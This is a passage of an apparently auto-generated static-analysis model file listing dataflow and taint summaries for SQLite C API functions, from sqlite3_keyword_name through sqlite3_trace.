"Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_keyword_name", "(int,const char **,int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_last_insert_rowid", "(sqlite3 *)", "", "Argument[*0].Field[*lastRowid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[*0].Field[*aLimit]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[1]", "Argument[*0].Field[*aLimit]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_limit", "(sqlite3 *,int,int)", "", "Argument[2]", "Argument[*0].Field[*aLimit]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_load_extension", "(sqlite3 *,const char *,const char *,char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_next_stmt", "(sqlite3 *,sqlite3_stmt *)", "", "Argument[*1].Field[**pVNext]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_next_stmt", "(sqlite3 *,sqlite3_stmt *)", "", "Argument[*1].Field[*pVNext]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_open16", "(const void *,sqlite3 **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_open_v2", "(const char *,sqlite3 **,int,const char *)", "", "Argument[2]", "Argument[**1].Field[*openFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_overload_function", "(sqlite3 *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_percentile_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v2", "(sqlite3 *,const void *,int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[*1]", "Argument[**5]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare16_v3", "(sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **)", "", "Argument[3]", "Argument[**4].Field[*prepFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v2", "(sqlite3 *,const char *,int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[*1]", "Argument[**5]", "value", "df-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[**5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[2]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_prepare_v3", "(sqlite3 *,const char *,int,unsigned int,sqlite3_stmt **,const char **)", "", "Argument[3]", "Argument[**4].Field[*prepFlags]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xProfile]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_profile", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pProfileArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*nProgressOps]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*xProgress]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_progress_handler", "(sqlite3 *,int,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*pProgressArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_randomness", "(int,void *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc64", "(void *,sqlite3_uint64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[**0]", "ReturnValue[**]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_realloc", "(void *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_config", "(sqlite3_recover *,int,void *)", "", "Argument[2]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_errcode", "(sqlite3_recover *)", "", "Argument[*0].Field[*errCode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_errmsg", "(sqlite3_recover *)", "", "Argument[*0].Field[**zErrMsg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_errmsg", "(sqlite3_recover *)", "", "Argument[*0].Field[*zErrMsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_finish", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**zUri]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init", "(sqlite3 *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**zUri]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[**3]", "ReturnValue[*].Field[***pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[**zDb]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*].Field[**pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zDb].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[**zUri].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue[*].Field[*dbIn]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[**zDb]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*xSql]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_init_sql", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[3]", "ReturnValue[*].Field[*pSqlCtx]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_recover_run", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_recover_step", "(sqlite3_recover *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_regexp_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_reset", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error16", "(sqlite3_context *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[*n]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**pOut].Field[**z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*zMalloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**pOut].Field[*z]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[**z]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error", "(sqlite3_context *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[**pOut].Field[*n]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_result_error_code", "(sqlite3_context *,int)", "", "Argument[1]", "Argument[*0].Field[*isError]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xRollbackCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rollback_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pRollbackArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_geometry_callback", "(sqlite3 *,const char *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_rtree_query_callback", "(sqlite3 *,const char *,..(*)(..),void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*lookaside].Field[**pSmallFree]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_serialize", "(sqlite3 *,const char *,sqlite3_int64 *,unsigned int)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_series_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xAuth]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_authorizer", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pAuthArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_clientdata", "(sqlite3 *,const char *,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**pDbData].Field[*zName]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_set_clientdata", "(sqlite3 *,const char *,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**pDbData].Field[*zName]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_set_last_insert_rowid", "(sqlite3 *,sqlite3_int64)", "", "Argument[1]", "Argument[*0].Field[*lastRowid]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sha_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_shathree_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_snprintf", "(int,char *,const char *,...)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_snprintf", "(int,char *,const char *,...)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sql", "(sqlite3_stmt *)", "", "Argument[*0].Field[**zSql]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sql", "(sqlite3_stmt *)", "", "Argument[*0].Field[*zSql]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_sqlar_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_status64", "(int,sqlite3_int64 *,sqlite3_int64 *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status64", "(int,sqlite3_int64 *,sqlite3_int64 *,int)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status", "(int,int *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_status", "(int,int *,int *,int)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_step", "(sqlite3_stmt *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[*explain]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_explain", "(sqlite3_stmt *,int)", "", "Argument[1]", "Argument[*0].Field[*nResColumn]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_isexplain", "(sqlite3_stmt *)", "", "Argument[*0].Field[*explain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_readonly", "(sqlite3_stmt *)", "", "Argument[*0].Field[*readOnly]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stmt_status", "(sqlite3_stmt *,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stmtrand_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_append", "(sqlite3_str *,const char *,int)", "", "Argument[2]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendall", "(sqlite3_str *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendall", "(sqlite3_str *,const char *)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendchar", "(sqlite3_str *,int,char)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendchar", "(sqlite3_str *,int,char)", "", "Argument[2]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[*1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_appendf", "(StrAccum *,sqlite3_str *,const char *,...)", "", "Argument[1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_errcode", "(sqlite3_str *)", "", "Argument[*0].Field[*accError]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_finish", "(sqlite3_str *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_str_finish", "(sqlite3_str *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_str_length", "(sqlite3_str *)", "", "Argument[*0].Field[*nChar]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_new", "(sqlite3 *)", "", "Argument[*0].Field[*aLimit]", "ReturnValue[*].Field[*mxAlloc]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_value", "(sqlite3_str *)", "", "Argument[*0].Field[**zText]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_value", "(sqlite3_str *)", "", "Argument[*0].Field[*zText]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[**zText]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[*1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[**zText]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[*nAlloc]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_str_vappendf", "(sqlite3_str *,const char *,va_list)", "", "Argument[1]", "Argument[*0].Field[*nChar]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strglob", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_stricmp", "(const char *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strlike", "(const char *,const char *,unsigned int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[*1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_strnicmp", "(const char *,const char *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_system_errno", "(sqlite3 *)", "", "Argument[*0].Field[*iSysErrno]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_table_column_metadata", "(sqlite3 *,const char *,const char *,const char *,const char **,const char **,int *,int *,int *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_total_changes64", "(sqlite3 *)", "", "Argument[*0].Field[*nTotalChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_total_changes", "(sqlite3 *)", "", "Argument[*0].Field[*nTotalChange]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 